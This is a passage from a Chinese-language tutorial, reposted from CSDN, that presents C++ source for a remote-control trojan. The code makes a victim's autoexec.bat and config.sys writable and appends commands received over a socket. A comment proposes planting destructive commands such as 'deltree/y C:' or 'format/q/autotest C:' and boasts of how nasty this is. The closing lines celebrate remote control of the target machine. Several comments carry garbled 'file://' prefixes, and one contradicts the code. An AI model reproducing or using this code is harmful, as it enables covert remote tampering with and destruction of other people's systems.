FILE *fp=NULL;
char filename[20];
chmod("c:\\autoexec.bat",S_IREAD|S_IWRITE);
chmod("c:\\config.sys",S_IREAD|S_IWRITE);
file://将/两个目标文件的属性改为可读可写
if(file_name==1)
sprintf(filename,"%s","c:\\autoexec.bat");
file://如/果第11个字符是1,就把Autoexec.bat格式化
else if(file_name==2)
sprintf(filename,"%s","c:\\config.sys");
file://如/果第11个字符是1,就把Config.sys格式化
times_of_try=0;
file://定/义计数器
while(fp==NULL)
{
file://如/果指针是空
fp=fopen(filename,"a+");
file://如/果文件不存在,创建之;如果存在,准备在其后添加
file://如/果出错,文件指针为空,这样就会重复
times_of_try=times_of_try+1;
file://计/数器加1
if(times_of_try>100)
{
file://如/果已经试了100次了,仍未成功
Socket->SendText("Fail By Open File");
file://就/发回“Fail By Open File”的错误信息
goto END;
file://跳/至END处
}
}
fwrite(content,sizeof(char),strlen(content),fp);
file://写/入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!
fclose(fp);
file://写/完后关闭目标文件
Socket->SendText("Sucess");
file://然/后发回“Success”的成功信息
}
}
你现在可以通过网络来察看目标机上的这两个文件了,并且还可以向里面随意添加任何命令。呵呵,这只不过是牛刀小试罢了。朋友,别走开!(未完待续)
本文转载自中国软件(
http://www.csdn.net)